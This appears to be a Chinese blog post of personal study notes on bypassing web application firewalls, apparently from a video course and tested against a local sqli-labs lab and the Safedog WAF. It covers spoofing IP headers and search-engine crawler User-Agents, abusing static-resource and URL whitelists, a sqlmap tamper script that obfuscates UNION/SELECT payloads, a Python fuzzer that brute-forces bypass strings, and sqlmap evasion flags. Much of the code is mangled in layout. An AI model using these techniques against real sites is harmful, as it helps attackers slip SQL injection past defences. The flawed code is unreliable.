深入WAF绕过知识


小迪v19

是我太菜??,但时间真的不多了,要完成一个项目,还记笔记就是太乱了,不发出来丢人了,以后有时间整理
φ(゜▽゜*)?

https://www.bilibili.com/video/BV1JZ4y1c7ro?p=18

v18还没写完( ̄y▽ ̄)╭ Ohohoho.....

在这里插入图片描述

其它绕过方式补充

1.ip白名单
从网络层接收ip地址的话没法伪造,如果是获取客户端的ip,可能存在伪ip绕过的情况。

修改http的header来by pass waf

X-forwarded-for;
X-remote-IP;
X-originating-IP;
x-remote-addr;
X-Real-ip 

2.静态资源

waf可能对一些静态资源不检查(.js、.jpg、.swf、.css、文本等)

http://127.0.0.1/sqlilabs/Less-2/index.php/x.txt?id=1

可以正常显示数据,图片没有正常显示,利用这个方法,waf以为?id是在下x,txt的参数,所以不检查。
在这里插入图片描述
最后没有绕过WAF

3.url白名单

为了防止waf误拦管理员登录做敏感操作的url,比如路径中有admin/manager/system,只要url含有这些字符串就不做拦截
比如网站对某个文件不做拦截,配合上一个静态资源知识点...
在这里插入图片描述
4.爬虫白名单
网站会对一些搜索引擎爬虫添加白名单方便收入引擎,通过伪造数据包假扮搜索引擎。
开启流量CC防护
在这里插入图片描述
如果不开延时的话会被拦截。
在这里插入图片描述

在这里插入图片描述
如果扫描的时候伪造UserAgent提交的内容,我们可以伪装成爬虫尝试绕过

各搜索引擎爬虫
Status Code:状态码 https://blog.csdn.net/qq_38410428/article/details/82726722
在这里插入图片描述

在这里插入图片描述
安全狗没有拦截

fuzz

https://www.jianshu.com/p/ba3f8f1815ad?utm_campaign=haruki&utm_content=note&utm_medium=reader_share&utm_source=qq

!/usr/bin/envpython

""" Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission """

import os

from lib.core.common import singleTimeWarnMessage from lib.core.enums
import DBMS from lib.core.enums import PRIORITY

priority=PRIORITY.HIGHEST

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only
meant to be run against
%s"%(os.path.basename(file).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):

%23a%0aunion/!44575select/1,2,3 if payload:

    payload=payload.replace("union","%23a%0aunion")
    payload=payload.replace("select","/*!44575select*/")
    payload=payload.replace("%20","%23a%0a")
    payload=payload.replace("","%23a%0a")
    payload=payload.replace("database()","database%23a%0a()") 	return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1' union='union'
select='select' num='1,2,3' a={'%0a','%23'} aa={'x'} aaa={'%0a','%23'}
b='/!' c='/' def bypass(): for xiaodi in a: for xiaodis in aa:
for xiaodiss in aaa:
for two in range(44500,44600):
urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao diss+num
#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
try:
result=requests.get(urls).text
len_r=len(result)
if (result.find('safedog')-1):
#print('bypass url addreess:'+urls+'|'+str(len_r))
print('bypass url addreess:'+urls+'|'+str(len_r))
if len_r
715:
fp = open('url.txt','a+')
fp.write(urls+'\n')
fp.close()
except Exception as err:
print('connecting error')
time.sleep(0.1) if__name__=='main': print('fuzz strat!') bypass()

以下在偷懒??
阿里云盾
。。。。
sqlmap

https://blog.csdn.net/qq_34444097/article/details/82717357

使用sqlmap直接扫带waf的网站会被拦截,需要配合使用编写temper脚本和抓包工具。
sqlmap缓存目录
在这里插入图片描述

按照自带的temper脚本编写这里是引用
使用脚本

--temper=xxx.py
使用 代理  --proxy=http://127.0.0.1:8080

只用脚本还是会被拦截,使用抓包工具查看发现user-agent有sqlmap
在这里插入图片描述
在这里插入图片描述

因为waf可以识别黑客工具,使用抓包工具修改user-agent,
或者使用sqlmap自定义user-agent,
还有白名单,
或者代理池

使用sqlmap 随机头

--random-agent

sqlmap自定义请求头

--user-Agent=" "

注意使用延时

--delay

如果其它地方出现了sqlmap指纹头,该怎么修改
在这里插入图片描述

加个*丢进intrude模块
在这里插入图片描述
不过麻烦,因为get是一直变
可以写在txt里 加 -r
在这里插入图片描述
还可以中转
在这里插入图片描述
待定学习